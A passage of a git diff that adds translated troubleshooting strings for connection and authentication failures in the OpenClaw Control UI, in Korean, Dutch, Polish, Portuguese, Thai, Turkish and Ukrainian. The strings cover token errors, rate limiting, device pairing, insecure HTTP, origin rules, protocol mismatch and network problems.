"실패한 시도가 너무 많음", + summary: "Gateway가 이 클라이언트의 인증 시도를 일시적으로 제한하고 있습니다.", + stepStop: "이 탭에서 잠시 재시도를 중지하세요.", + stepWait: "인증 제한기가 식을 때까지 기다린 뒤 수정된 자격 증명으로 다시 연결하세요.", + stepCheckClients: + "공유 호스트라면 다른 클라이언트가 잘못된 재시도를 반복하는지 확인하세요.", + }, + pairing: { + title: "장치 페어링 필요", + scopeTitle: "Scope 업그레이드 대기 중", + roleTitle: "역할 업그레이드 대기 중", + metadataTitle: "장치 새로 고침 대기 중", + summary: "이 브라우저가 Control UI를 사용하려면 Gateway 호스트의 일회성 승인이 필요합니다.", + upgradeSummary: + "이 브라우저는 이미 알려져 있지만 요청한 액세스가 변경되어 새 승인이 필요합니다.", + stepList: "Gateway 호스트에서 openclaw devices list를 실행하세요.", + stepApproveId: "이 요청을 승인하세요: openclaw devices approve {requestId}.", + stepApprove: "해당 목록에서 대기 중인 브라우저/장치 요청을 승인하세요.", + stepReconnect: "승인이 완료된 뒤 다시 연결하세요.", + }, + insecure: { + title: "안전한 브라우저 컨텍스트 필요", + summary: + "이 페이지는 일반 HTTP에서 실행 중이므로 브라우저가 Gateway가 기대하는 장치 ID를 만들 수 없습니다.", + stepHttps: + "HTTPS/Tailscale Serve를 사용하거나 Gateway 호스트에서 http://127.0.0.1:18789를 여세요.", + stepLocalCompat: + "로컬 토큰 전용 호환성을 위해 gateway.controlUi.allowInsecureAuth: true를 설정하세요.", + stepAvoidDisable: "원격 HTTP 액세스를 위해 장치 인증을 비활성화하지 마세요.", + }, + origin: { + title: "브라우저 origin이 허용되지 않음", + summary: "Gateway가 Control UI 연결을 수락하기 전에 이 페이지 origin을 거부했습니다.", + stepAllowedOrigins: "이 브라우저 origin을 gateway.controlUi.allowedOrigins에 추가하세요.", + stepFullOrigin: + "와일드카드 패턴이 아니라 http://localhost:5173 같은 전체 origin을 사용하세요.", + stepRestart: "허용 origin을 변경한 뒤 Gateway를 다시 시작하거나 다시 로드하세요.", + }, + protocol: { + title: "프로토콜 불일치", + summary: + "제공된 Control UI와 실행 중인 Gateway가 지원되는 연결 프로토콜에 동의하지 않습니다.", + stepDashboard: + "UI와 Gateway가 같은 설치에서 오도록 openclaw dashboard로 제공된 dashboard를 다시 여세요.", + stepDevUi: + "pnpm ui:dev를 사용하는 경우 현재 checkout 기준으로 개발 UI를 다시 빌드하거나 다시 시작하세요.", + stepRestart: + "OpenClaw를 업데이트한 뒤 Gateway를 다시 시작하여 현재 프로토콜을 제공하게 하세요.", + }, + network: { + title: "연결할 수 없음", + summary: + "브라우저가 Gateway 연결을 완료할 수 없습니다. 자격 증명을 다시 시도하기 전에 대상과 전송 방식을 확인하세요.", + stepGateway: + "openclaw status 또는 openclaw gateway run으로 Gateway가 실행 중인지 확인하세요.", + stepUrl: + "WebSocket URL을 확인하고 Gateway가 HTTPS/Tailscale Serve 뒤에 있으면 wss://를 사용하세요.", + stepDashboard: + "openclaw dashboard --no-open으로 dashboard를 다시 열어 현재 URL과 인증 세부 정보를 다시 복사하세요.", + }, + }, }, chat: { disconnected: "Gateway와 연결이 끊어졌습니다.", diff --git a/ui/src/i18n/locales/nl.ts b/ui/src/i18n/locales/nl.ts index 3b433ae2a96..9eb8e841354 100644 --- a/ui/src/i18n/locales/nl.ts +++ b/ui/src/i18n/locales/nl.ts @@ -940,6 +940,97 @@ export const nl: TranslationMap = { showPassword: "Wachtwoord weergeven", hidePassword: "Wachtwoord verbergen", togglePasswordVisibility: "Wachtwoordzichtbaarheid schakelen", + failure: { + rawError: "Ruwe fout", + docsAuth: "Control UI-authdocumentatie", + docsPairing: "Documentatie voor apparaatkoppeling", + docsInsecure: "Documentatie voor onveilige HTTP", + authRequired: { + title: "Authenticatie vereist", + summary: + "De Gateway is bereikbaar, maar heeft een overeenkomend token of wachtwoord nodig voordat deze browser kan verbinden.", + stepPaste: + "Plak het token uit openclaw dashboard --no-open of voer het geconfigureerde wachtwoord in.", + stepGenerate: + "Als er geen token is geconfigureerd, voer dan openclaw doctor --generate-gateway-token uit op de Gateway-host.", + stepConnect: "Klik opnieuw op Connect nadat je de referentie hebt bijgewerkt.", + }, + authFailed: { + title: "Authenticatie komt niet overeen", + summary: + "De opgegeven referentie is geweigerd. De meest voorkomende oorzaak is een verlopen token of een token dat van een andere Gateway-URL is gekopieerd.", + stepDashboard: + "Voer openclaw dashboard --no-open uit en open de nieuwe URL of plak het token.", + stepReplace: + "Vervang verlopen token-/wachtwoordwaarden; hergebruik geen token van een andere Gateway-URL.", + stepMode: + "Gebruik één overeenkomende auth-modus tegelijk: gateway-token voor tokenmodus, wachtwoord voor wachtwoordmodus.", + }, + rateLimited: { + title: "Te veel mislukte pogingen", + summary: "De Gateway beperkt tijdelijk authenticatiepogingen voor deze client.", + stepStop: "Stop even met opnieuw proberen vanuit dit tabblad.", + stepWait: + "Wacht tot de auth-limiter is afgekoeld en verbind opnieuw met de gecorrigeerde referentie.", + stepCheckClients: + "Als dit een gedeelde host is, controleer andere clients op herhaalde verkeerde pogingen.", + }, + pairing: { + title: "Apparaatkoppeling vereist", + scopeTitle: "Scope-upgrade in behandeling", + roleTitle: "Rol-upgrade in behandeling", + metadataTitle: "Apparaatverversing in behandeling", + summary: + "Deze browser heeft een eenmalige goedkeuring van de Gateway-host nodig voordat Control UI kan worden gebruikt.", + upgradeSummary: + "Deze browser is al bekend, maar de gevraagde toegang is gewijzigd en vereist nieuwe goedkeuring.", + stepList: "Voer openclaw devices list uit op de Gateway-host.", + stepApproveId: "Keur deze aanvraag goed: openclaw devices approve {requestId}.", + stepApprove: "Keur de openstaande browser-/apparaat aanvraag uit die lijst goed.", + stepReconnect: "Verbind opnieuw nadat de goedkeuring is voltooid.", + }, + insecure: { + title: "Veilige browsercontext vereist", + summary: + "Deze pagina draait via gewone HTTP, waardoor de browser de apparaatidentiteit die de Gateway verwacht niet kan maken.", + stepHttps: + "Gebruik HTTPS/Tailscale Serve, of open http://127.0.0.1:18789 op de Gateway-host.", + stepLocalCompat: + "Stel voor lokale token-only compatibiliteit gateway.controlUi.allowInsecureAuth: true in.", + stepAvoidDisable: + "Schakel apparaatauthenticatie voor externe HTTP-toegang liever niet uit.", + }, + origin: { + title: "Browser-origin niet toegestaan", + summary: + "De Gateway heeft deze pagina-origin geweigerd voordat de Control UI-verbinding werd geaccepteerd.", + stepAllowedOrigins: "Voeg deze browser-origin toe aan gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Gebruik volledige origins zoals http://localhost:5173, geen wildcardpatronen.", + stepRestart: "Herstart of herlaad de Gateway na het wijzigen van toegestane origins.", + }, + protocol: { + title: "Protocol komt niet overeen", + summary: + "De geserveerde Control UI en de draaiende Gateway zijn het niet eens over het ondersteunde verbindingsprotocol.", + stepDashboard: + "Open het geserveerde dashboard opnieuw met openclaw dashboard zodat UI en Gateway uit dezelfde installatie komen.", + stepDevUi: + "Als je pnpm ui:dev gebruikt, bouw of herstart de dev-UI tegen de huidige checkout.", + stepRestart: + "Herstart de Gateway na het bijwerken van OpenClaw zodat het huidige protocol wordt geserveerd.", + }, + network: { + title: "Kan niet verbinden", + summary: + "De browser kon de Gateway-verbinding niet voltooien. Controleer doel en transport voordat je referenties opnieuw probeert.", + stepGateway: "Bevestig dat de Gateway draait met openclaw status of openclaw gateway run.", + stepUrl: + "Controleer de WebSocket-URL en gebruik wss:// wanneer de Gateway achter HTTPS/Tailscale Serve staat.", + stepDashboard: + "Open het dashboard opnieuw met openclaw dashboard --no-open om de huidige URL en authdetails opnieuw te kopiëren.", + }, + }, }, chat: { disconnected: "Verbinding met Gateway verbroken.", diff --git a/ui/src/i18n/locales/pl.ts b/ui/src/i18n/locales/pl.ts index 15d5761fb93..bbc094b8030 100644 --- a/ui/src/i18n/locales/pl.ts +++ b/ui/src/i18n/locales/pl.ts @@ -943,6 +943,94 @@ export const pl: TranslationMap = { showPassword: "Pokaż hasło", hidePassword: "Ukryj hasło", togglePasswordVisibility: "Przełącz widoczność hasła", + failure: { + rawError: "Surowy błąd", + docsAuth: "Dokumentacja uwierzytelniania Control UI", + docsPairing: "Dokumentacja parowania urządzeń", + docsInsecure: "Dokumentacja niebezpiecznego HTTP", + authRequired: { + title: "Wymagane uwierzytelnienie", + summary: + "Gateway jest osiągalny, ale wymaga pasującego tokenu lub hasła, zanim ta przeglądarka będzie mogła się połączyć.", + stepPaste: "Wklej token z openclaw dashboard --no-open albo wpisz skonfigurowane hasło.", + stepGenerate: + "Jeśli token nie jest skonfigurowany, uruchom openclaw doctor --generate-gateway-token na hoście Gateway.", + stepConnect: "Kliknij ponownie Connect po zaktualizowaniu poświadczeń.", + }, + authFailed: { + title: "Uwierzytelnienie nie pasuje", + summary: + "Podane poświadczenia zostały odrzucone. Najczęstsza przyczyna to nieaktualny token lub token skopiowany z innego URL Gateway.", + stepDashboard: + "Uruchom openclaw dashboard --no-open i otwórz świeży URL albo wklej jego token.", + stepReplace: + "Zastąp nieaktualne wartości tokenu/hasła; nie używaj ponownie tokenu z innego URL Gateway.", + stepMode: + "Używaj naraz jednego pasującego trybu auth: token gateway dla trybu tokenu, hasło dla trybu hasła.", + }, + rateLimited: { + title: "Zbyt wiele nieudanych prób", + summary: "Gateway tymczasowo ogranicza próby uwierzytelniania dla tego klienta.", + stepStop: "Przestań na chwilę ponawiać próby z tej karty.", + stepWait: + "Poczekaj, aż limiter auth ostygnie, a potem połącz się ponownie z poprawionymi poświadczeniami.", + stepCheckClients: + "Jeśli to współdzielony host, sprawdź inne klienty pod kątem powtarzanych błędnych prób.", + }, + pairing: { + title: "Wymagane parowanie urządzenia", + scopeTitle: "Oczekuje podniesienie scope", + roleTitle: "Oczekuje podniesienie roli", + metadataTitle: "Oczekuje odświeżenie urządzenia", + summary: + "Ta przeglądarka wymaga jednorazowej zgody z hosta Gateway, zanim będzie mogła używać Control UI.", + upgradeSummary: + "Ta przeglądarka jest już znana, ale żądany dostęp się zmienił i wymaga nowej zgody.", + stepList: "Uruchom openclaw devices list na hoście Gateway.", + stepApproveId: "Zatwierdź to żądanie: openclaw devices approve {requestId}.", + stepApprove: "Zatwierdź oczekujące żądanie przeglądarki/urządzenia z tej listy.", + stepReconnect: "Po zakończeniu zatwierdzania połącz się ponownie.", + }, + insecure: { + title: "Wymagany bezpieczny kontekst przeglądarki", + summary: + "Ta strona działa przez zwykły HTTP, więc przeglądarka nie może utworzyć tożsamości urządzenia oczekiwanej przez Gateway.", + stepHttps: + "Użyj HTTPS/Tailscale Serve albo otwórz http://127.0.0.1:18789 na hoście Gateway.", + stepLocalCompat: + "Dla lokalnej zgodności tylko z tokenem ustaw gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Unikaj wyłączania auth urządzenia dla zdalnego dostępu HTTP.", + }, + origin: { + title: "Origin przeglądarki niedozwolony", + summary: "Gateway odrzucił origin tej strony przed zaakceptowaniem połączenia Control UI.", + stepAllowedOrigins: "Dodaj ten origin przeglądarki do gateway.controlUi.allowedOrigins.", + stepFullOrigin: + "Używaj pełnych originów, takich jak http://localhost:5173, nie wzorców wildcard.", + stepRestart: "Po zmianie dozwolonych originów zrestartuj lub przeładuj Gateway.", + }, + protocol: { + title: "Niezgodność protokołu", + summary: + "Udostępniana Control UI i działający Gateway nie zgadzają się co do obsługiwanego protokołu połączenia.", + stepDashboard: + "Otwórz ponownie udostępniany dashboard poleceniem openclaw dashboard, aby UI i Gateway pochodziły z tej samej instalacji.", + stepDevUi: + "Jeśli używasz pnpm ui:dev, przebuduj lub uruchom ponownie UI dev względem bieżącego checkoutu.", + stepRestart: + "Zrestartuj Gateway po aktualizacji OpenClaw, aby udostępniał bieżący protokół.", + }, + network: { + title: "Nie udało się połączyć", + summary: + "Przeglądarka nie mogła dokończyć połączenia z Gateway. Sprawdź cel i transport przed ponowną próbą z poświadczeniami.", + stepGateway: + "Potwierdź, że Gateway działa, używając openclaw status lub openclaw gateway run.", + stepUrl: "Sprawdź URL WebSocket i użyj wss://, gdy Gateway jest za HTTPS/Tailscale Serve.", + stepDashboard: + "Otwórz ponownie dashboard przez openclaw dashboard --no-open, aby skopiować bieżący URL i szczegóły auth.", + }, + }, }, chat: { disconnected: "Rozłączono z Gateway.", diff --git a/ui/src/i18n/locales/pt-BR.ts b/ui/src/i18n/locales/pt-BR.ts index ad0498b9b1f..46aaf8ff55e 100644 --- a/ui/src/i18n/locales/pt-BR.ts +++ b/ui/src/i18n/locales/pt-BR.ts @@ -939,6 +939,94 @@ export const pt_BR: TranslationMap = { showPassword: "Mostrar senha", hidePassword: "Ocultar senha", togglePasswordVisibility: "Alternar visibilidade da senha", + failure: { + rawError: "Erro bruto", + docsAuth: "Documentação de autenticação de Control UI", + docsPairing: "Documentação de pareamento de dispositivos", + docsInsecure: "Documentação de HTTP inseguro", + authRequired: { + title: "Autenticação requerida", + summary: + "O Gateway está acessível, mas precisa de um token ou senha correspondente antes que este navegador possa se conectar.", + stepPaste: "Cole o token de openclaw dashboard --no-open ou informe a senha configurada.", + stepGenerate: + "Se nenhum token estiver configurado, execute openclaw doctor --generate-gateway-token no host do Gateway.", + stepConnect: "Clique em Connect novamente depois de atualizar a credencial.", + }, + authFailed: { + title: "A autenticação não corresponde", + summary: + "A credencial fornecida foi rejeitada. A causa mais comum é um token antigo ou copiado de outro URL de Gateway.", + stepDashboard: "Execute openclaw dashboard --no-open e abra o novo URL ou cole seu token.", + stepReplace: + "Substitua valores antigos de token/senha; não reutilize um token de outro URL de Gateway.", + stepMode: + "Use um único modo de autenticação correspondente por vez: token de gateway para modo token, senha para modo senha.", + }, + rateLimited: { + title: "Muitas tentativas falharam", + summary: + "O Gateway está limitando temporariamente as tentativas de autenticação deste cliente.", + stepStop: "Pare de tentar novamente desta aba por um momento.", + stepWait: + "Aguarde o limitador de autenticação esfriar e reconecte com a credencial corrigida.", + stepCheckClients: + "Se este for um host compartilhado, verifique outros clientes com tentativas incorretas repetidas.", + }, + pairing: { + title: "Pareamento de dispositivo necessário", + scopeTitle: "Atualização de scope pendente", + roleTitle: "Atualização de função pendente", + metadataTitle: "Atualização do dispositivo pendente", + summary: + "Este navegador precisa de uma aprovação única do host do Gateway antes de poder usar o Control UI.", + upgradeSummary: + "Este navegador já é conhecido, mas o acesso solicitado mudou e precisa de uma nova aprovação.", + stepList: "Execute openclaw devices list no host do Gateway.", + stepApproveId: "Aprove esta solicitação: openclaw devices approve {requestId}.", + stepApprove: "Aprove a solicitação pendente de navegador/dispositivo nessa lista.", + stepReconnect: "Reconecte depois que a aprovação for concluída.", + }, + insecure: { + title: "Contexto seguro do navegador necessário", + summary: + "Esta página está sendo executada sobre HTTP simples, então o navegador não consegue criar a identidade de dispositivo que o Gateway espera.", + stepHttps: "Use HTTPS/Tailscale Serve ou abra http://127.0.0.1:18789 no host do Gateway.", + stepLocalCompat: + "Para compatibilidade local somente com token, defina gateway.controlUi.allowInsecureAuth: true.", + stepAvoidDisable: "Evite desativar a autenticação de dispositivo para acesso HTTP remoto.", + }, + origin: { + title: "Origem do navegador não permitida", + summary: + "O Gateway rejeitou a origem desta página antes de aceitar a conexão do Control UI.", + stepAllowedOrigins: "Adicione esta origem do navegador a gateway.controlUi.allowedOrigins.", + stepFullOrigin: "Use origens completas como http://localhost:5173, não padrões wildcard.", + stepRestart: "Reinicie ou recarregue o Gateway depois de alterar as origens permitidas.", + }, + protocol: { + title: "Protocolo incompatível", + summary: + "O Control UI servido e o Gateway em execução não concordam sobre o protocolo de conexão compatível.", + stepDashboard: + "Reabra o dashboard servido com openclaw dashboard para que UI e Gateway venham da mesma instalação.", + stepDevUi: + "Se estiver usando pnpm ui:dev, reconstrua ou reinicie a UI de desenvolvimento com o checkout atual.", + stepRestart: + "Reinicie o Gateway depois de atualizar o OpenClaw para que ele sirva o protocolo atual.", + }, + network: { + title: "Não foi possível conectar", + summary: + "O navegador não conseguiu concluir a conexão ao Gateway. Verifique o destino e o transporte antes de tentar credenciais novamente.", + stepGateway: + "Confirme que o Gateway está em execução com openclaw status ou openclaw gateway run.", + stepUrl: + "Verifique o URL de WebSocket e use wss:// quando o Gateway estiver atrás de HTTPS/Tailscale Serve.", + stepDashboard: + "Reabra o dashboard com openclaw dashboard --no-open para copiar novamente o URL atual e os detalhes de auth.", + }, + }, }, chat: { disconnected: "Desconectado do gateway.", diff --git a/ui/src/i18n/locales/th.ts b/ui/src/i18n/locales/th.ts index ceda4eef1ce..db2c2be6dda 100644 --- a/ui/src/i18n/locales/th.ts +++ b/ui/src/i18n/locales/th.ts @@ -923,6 +923,79 @@ export const th: TranslationMap = { showPassword: "แสดงรหัสผ่าน", hidePassword: "ซ่อนรหัสผ่าน", togglePasswordVisibility: "สลับการแสดงรหัสผ่าน", + failure: { + rawError: "ข้อผิดพลาดดิบ", + docsAuth: "เอกสารการยืนยันตัวตนของ Control UI", + docsPairing: "เอกสารการจับคู่อุปกรณ์", + docsInsecure: "เอกสาร HTTP ที่ไม่ปลอดภัย", + authRequired: { + title: "ต้องยืนยันตัวตน", + summary: "เข้าถึง Gateway ได้ แต่ต้องมีโทเค็นหรือรหัสผ่านที่ตรงกันก่อนที่เบราว์เซอร์นี้จะเชื่อมต่อได้", + stepPaste: "วางโทเค็นจาก openclaw dashboard --no-open หรือป้อนรหัสผ่านที่ตั้งค่าไว้", + stepGenerate: + "ถ้ายังไม่ได้ตั้งค่าโทเค็น ให้รัน openclaw doctor --generate-gateway-token บนโฮสต์ Gateway", + stepConnect: "คลิก Connect อีกครั้งหลังจากอัปเดตข้อมูลรับรอง", + }, + authFailed: { + title: "การยืนยันตัวตนไม่ตรงกัน", + summary: "ข้อมูลรับรองที่ให้มาถูกปฏิเสธ สาเหตุที่พบบ่อยคือโทเค็นเก่าหรือโทเค็นที่คัดลอกจาก Gateway URL อื่น", + stepDashboard: "รัน openclaw dashboard --no-open แล้วเปิด URL ใหม่หรือวางโทเค็นของ URL นั้น", + stepReplace: "แทนที่ค่าโทเค็น/รหัสผ่านเก่า อย่าใช้โทเค็นจาก Gateway URL อื่นซ้ำ", + stepMode: + "ใช้โหมด auth ที่ตรงกันทีละโหมด: gateway token สำหรับโหมด token, รหัสผ่านสำหรับโหมด password", + }, + rateLimited: { + title: "พยายามล้มเหลวมากเกินไป", + summary: "Gateway กำลังจำกัดความพยายามยืนยันตัวตนของไคลเอนต์นี้ชั่วคราว", + stepStop: "หยุดลองซ้ำจากแท็บนี้สักครู่", + stepWait: "รอให้ตัวจำกัด auth เย็นลง แล้วเชื่อมต่อใหม่ด้วยข้อมูลรับรองที่แก้ไขแล้ว", + stepCheckClients: "ถ้าเป็นโฮสต์ที่ใช้ร่วมกัน ให้ตรวจสอบไคลเอนต์อื่นที่ลองผิดซ้ำๆ", + }, + pairing: { + title: "ต้องจับคู่อุปกรณ์", + scopeTitle: "การอัปเกรด scope รออนุมัติ", + roleTitle: "การอัปเกรดบทบาทรออนุมัติ", + metadataTitle: "การรีเฟรชอุปกรณ์รออนุมัติ", + summary: "เบราว์เซอร์นี้ต้องได้รับการอนุมัติครั้งเดียวจากโฮสต์ Gateway ก่อนใช้ Control UI", + upgradeSummary: "เบราว์เซอร์นี้เป็นที่รู้จักแล้ว แต่สิทธิ์ที่ขอเปลี่ยนไปและต้องอนุมัติใหม่", + stepList: "รัน openclaw devices list บนโฮสต์ Gateway", + stepApproveId: "อนุมัติคำขอนี้: openclaw devices approve {requestId}.", + stepApprove: "อนุมัติคำขอเบราว์เซอร์/อุปกรณ์ที่รอดำเนินการจากรายการนั้น", + stepReconnect: "เชื่อมต่อใหม่หลังการอนุมัติเสร็จสิ้น", + }, + insecure: { + title: "ต้องใช้บริบทเบราว์เซอร์ที่ปลอดภัย", + summary: "หน้านี้ทำงานผ่าน HTTP ธรรมดา เบราว์เซอร์จึงสร้างตัวตนอุปกรณ์ที่ Gateway คาดหวังไม่ได้", + stepHttps: "ใช้ HTTPS/Tailscale Serve หรือเปิด http://127.0.0.1:18789 บนโฮสต์ Gateway", + stepLocalCompat: + "สำหรับความเข้ากันได้เฉพาะโทเค็นในเครื่อง ให้ตั้ง gateway.controlUi.allowInsecureAuth: true", + stepAvoidDisable: "หลีกเลี่ยงการปิด auth อุปกรณ์สำหรับการเข้าถึง HTTP ระยะไกล", + }, + origin: { + title: "ไม่อนุญาต origin ของเบราว์เซอร์", + summary: "Gateway ปฏิเสธ origin ของหน้านี้ก่อนรับการเชื่อมต่อ Control UI", + stepAllowedOrigins: "เพิ่ม origin ของเบราว์เซอร์นี้ใน gateway.controlUi.allowedOrigins", + stepFullOrigin: "ใช้ origin แบบเต็ม เช่น http://localhost:5173 ไม่ใช่รูปแบบ wildcard", + stepRestart: "รีสตาร์ทหรือโหลด Gateway ใหม่หลังเปลี่ยน origin ที่อนุญาต", + }, + protocol: { + title: "โปรโตคอลไม่ตรงกัน", + summary: "Control UI ที่เสิร์ฟอยู่และ Gateway ที่ทำงานอยู่ไม่ตรงกันเรื่องโปรโตคอลการเชื่อมต่อที่รองรับ", + stepDashboard: + "เปิด dashboard ที่เสิร์ฟอีกครั้งด้วย openclaw dashboard เพื่อให้ UI และ Gateway มาจากการติดตั้งเดียวกัน", + stepDevUi: "ถ้าใช้ pnpm ui:dev ให้ build ใหม่หรือรีสตาร์ท UI dev กับ checkout ปัจจุบัน", + stepRestart: "รีสตาร์ท Gateway หลังอัปเดต OpenClaw เพื่อให้เสิร์ฟโปรโตคอลปัจจุบัน", + }, + network: { + title: "เชื่อมต่อไม่ได้", + summary: + "เบราว์เซอร์ไม่สามารถเชื่อมต่อ Gateway ให้เสร็จสมบูรณ์ได้ ตรวจสอบเป้าหมายและ transport ก่อนลองข้อมูลรับรองอีกครั้ง", + stepGateway: "ยืนยันว่า Gateway กำลังทำงานด้วย openclaw status หรือ openclaw gateway run", + stepUrl: "ตรวจสอบ WebSocket URL และใช้ wss:// เมื่อ Gateway อยู่หลัง HTTPS/Tailscale Serve", + stepDashboard: + "เปิด dashboard อีกครั้งด้วย openclaw dashboard --no-open เพื่อคัดลอก URL และรายละเอียด auth ปัจจุบันใหม่", + }, + }, }, chat: { disconnected: "ตัดการเชื่อมต่อจากเกตเวย์แล้ว", diff --git a/ui/src/i18n/locales/tr.ts b/ui/src/i18n/locales/tr.ts index a90088516dc..13fb4cb2cee 100644 --- a/ui/src/i18n/locales/tr.ts +++ b/ui/src/i18n/locales/tr.ts @@ -942,6 +942,97 @@ export const tr: TranslationMap = { showPassword: "Parolayı göster", hidePassword: "Parolayı gizle", togglePasswordVisibility: "Parola görünürlüğünü değiştir", + failure: { + rawError: "Ham hata", + docsAuth: "Control UI kimlik doğrulama belgeleri", + docsPairing: "Cihaz eşleştirme belgeleri", + docsInsecure: "Güvensiz HTTP belgeleri", + authRequired: { + title: "Kimlik doğrulama gerekli", + summary: + "Gateway erişilebilir, ancak bu tarayıcı bağlanmadan önce eşleşen bir token veya parola gerekir.", + stepPaste: + "openclaw dashboard --no-open çıktısındaki tokenı yapıştırın veya yapılandırılmış parolayı girin.", + stepGenerate: + "Token yapılandırılmamışsa Gateway ana makinesinde openclaw doctor --generate-gateway-token çalıştırın.", + stepConnect: "Kimlik bilgisini güncelledikten sonra Connect düğmesine tekrar tıklayın.", + }, + authFailed: { + title: "Kimlik doğrulama eşleşmedi", + summary: + "Sağlanan kimlik bilgisi reddedildi. En yaygın neden eski bir token veya başka bir Gateway URL’sinden kopyalanmış tokendır.", + stepDashboard: + "openclaw dashboard --no-open çalıştırın ve yeni URL’yi açın veya tokenını yapıştırın.", + stepReplace: + "Eski token/parola değerlerini değiştirin; başka bir Gateway URL’sinden tokenı yeniden kullanmayın.", + stepMode: + "Aynı anda tek bir eşleşen auth modu kullanın: token modu için gateway token, parola modu için parola.", + }, + rateLimited: { + title: "Çok fazla başarısız deneme", + summary: "Gateway bu istemci için kimlik doğrulama denemelerini geçici olarak sınırlıyor.", + stepStop: "Bu sekmeden bir süre yeniden denemeyi bırakın.", + stepWait: + "Auth sınırlayıcının soğumasını bekleyin, ardından düzeltilmiş kimlik bilgisiyle yeniden bağlanın.", + stepCheckClients: + "Bu paylaşılan bir host ise diğer istemcilerde yinelenen hatalı denemeleri kontrol edin.", + }, + pairing: { + title: "Cihaz eşleştirmesi gerekli", + scopeTitle: "Scope yükseltmesi bekliyor", + roleTitle: "Rol yükseltmesi bekliyor", + metadataTitle: "Cihaz yenilemesi bekliyor", + summary: + "Bu tarayıcının Control UI kullanabilmesi için Gateway hostundan tek seferlik onay gerekir.", + upgradeSummary: + "Bu tarayıcı zaten biliniyor, ancak istenen erişim değişti ve yeni onay gerekiyor.", + stepList: "Gateway hostunda openclaw devices list çalıştırın.", + stepApproveId: "Bu isteği onaylayın: openclaw devices approve {requestId}.", + stepApprove: "Bu listedeki bekleyen tarayıcı/cihaz isteğini onaylayın.", + stepReconnect: "Onay tamamlandıktan sonra yeniden bağlanın.", + }, + insecure: { + title: "Güvenli tarayıcı bağlamı gerekli", + summary: + "Bu sayfa düz HTTP üzerinden çalışıyor, bu yüzden tarayıcı Gateway’in beklediği cihaz kimliğini oluşturamıyor.", + stepHttps: + "HTTPS/Tailscale Serve kullanın veya Gateway hostunda http://127.0.0.1:18789 adresini açın.", + stepLocalCompat: + "Yerel yalnızca-token uyumluluğu için gateway.controlUi.allowInsecureAuth: true ayarlayın.", + stepAvoidDisable: "Uzak HTTP erişimi için cihaz authunu devre dışı bırakmaktan kaçının.", + }, + origin: { + title: "Tarayıcı originine izin verilmiyor", + summary: "Gateway, Control UI bağlantısını kabul etmeden önce bu sayfa originini reddetti.", + stepAllowedOrigins: "Bu tarayıcı originini gateway.controlUi.allowedOrigins içine ekleyin.", + stepFullOrigin: + "http://localhost:5173 gibi tam originler kullanın, wildcard kalıpları kullanmayın.", + stepRestart: + "İzin verilen originleri değiştirdikten sonra Gateway’i yeniden başlatın veya yeniden yükleyin.", + }, + protocol: { + title: "Protokol uyuşmazlığı", + summary: + "Sunulan Control UI ile çalışan Gateway desteklenen bağlantı protokolü konusunda uyuşmuyor.", + stepDashboard: + "UI ve Gateway aynı kurulumdan gelsin diye sunulan dashboardı openclaw dashboard ile yeniden açın.", + stepDevUi: + "pnpm ui:dev kullanıyorsanız geliştirme UI’sini mevcut checkouta göre yeniden derleyin veya yeniden başlatın.", + stepRestart: + "OpenClaw güncellemesinden sonra Gateway’i yeniden başlatın, böylece güncel protokolü sunsun.", + }, + network: { + title: "Bağlanılamadı", + summary: + "Tarayıcı Gateway bağlantısını tamamlayamadı. Kimlik bilgilerini yeniden denemeden önce hedefi ve taşıma yolunu kontrol edin.", + stepGateway: + "openclaw status veya openclaw gateway run ile Gateway’in çalıştığını doğrulayın.", + stepUrl: + "WebSocket URL’sini kontrol edin ve Gateway HTTPS/Tailscale Serve arkasındaysa wss:// kullanın.", + stepDashboard: + "Geçerli URL ve auth ayrıntılarını yeniden kopyalamak için dashboardı openclaw dashboard --no-open ile yeniden açın.", + }, + }, }, chat: { disconnected: "Gateway bağlantısı kesildi.", diff --git a/ui/src/i18n/locales/uk.ts b/ui/src/i18n/locales/uk.ts index d5d3bff8ca2..28c7493048e 100644 --- a/ui/src/i18n/locales/uk.ts +++ b/ui/src/i18n/locales/uk.ts @@ -941,6 +941,95 @@ export const uk: TranslationMap = { showPassword: "Показати пароль", hidePassword: "Приховати пароль", togglePasswordVisibility: "Перемкнути видимість пароля", + failure: { + rawError: "Сирий текст помилки", + docsAuth: "Документація автентифікації Control UI", + docsPairing: "Документація сполучення пристрою", + docsInsecure: "Документація небезпечного HTTP", + authRequired: { + title: "Потрібна автентифікація", + summary: + "Gateway доступний, але цьому браузеру потрібен відповідний токен або пароль перед підключенням.", + stepPaste: "Вставте токен з openclaw dashboard --no-open або введіть налаштований пароль.", + stepGenerate: + "Якщо токен не налаштовано, виконайте openclaw doctor --generate-gateway-token на хості Gateway.", + stepConnect: "Після оновлення облікових даних знову натисніть Connect.", + }, + authFailed: { + title: "Автентифікація не збігається", + summary: + "Надані облікові дані відхилено. Найпоширеніша причина — застарілий токен або токен, скопійований з іншого Gateway URL.", + stepDashboard: + "Виконайте openclaw dashboard --no-open і відкрийте свіжий URL або вставте його токен.", + stepReplace: + "Замініть застарілі значення токена/пароля; не використовуйте повторно токен з іншого Gateway URL.", + stepMode: + "Використовуйте один відповідний режим auth за раз: gateway token для режиму token, пароль для режиму password.", + }, + rateLimited: { + title: "Забагато невдалих спроб", + summary: "Gateway тимчасово обмежує спроби автентифікації для цього клієнта.", + stepStop: "На мить припиніть повторні спроби з цієї вкладки.", + stepWait: + "Зачекайте, доки auth-обмежувач охолоне, а потім підключіться з виправленими обліковими даними.", + stepCheckClients: + "Якщо це спільний хост, перевірте інші клієнти на повторювані помилкові спроби.", + }, + pairing: { + title: "Потрібне сполучення пристрою", + scopeTitle: "Оновлення scope очікує", + roleTitle: "Оновлення ролі очікує", + metadataTitle: "Оновлення пристрою очікує", + summary: + "Цей браузер потребує одноразового схвалення від хоста Gateway перед використанням Control UI.", + upgradeSummary: + "Цей браузер уже відомий, але запитаний доступ змінився і потребує нового схвалення.", + stepList: "Виконайте openclaw devices list на хості Gateway.", + stepApproveId: "Схваліть цей запит: openclaw devices approve {requestId}.", + stepApprove: "Схваліть запит браузера/пристрою, що очікує, з цього списку.", + stepReconnect: "Підключіться знову після завершення схвалення.", + }, + insecure: { + title: "Потрібен безпечний контекст браузера", + summary: + "Ця сторінка працює через звичайний HTTP, тому браузер не може створити ідентичність пристрою, яку очікує Gateway.", + stepHttps: + "Використовуйте HTTPS/Tailscale Serve або відкрийте http://127.0.0.1:18789 на хості Gateway.", + stepLocalCompat: + "Для локальної сумісності лише з токеном задайте 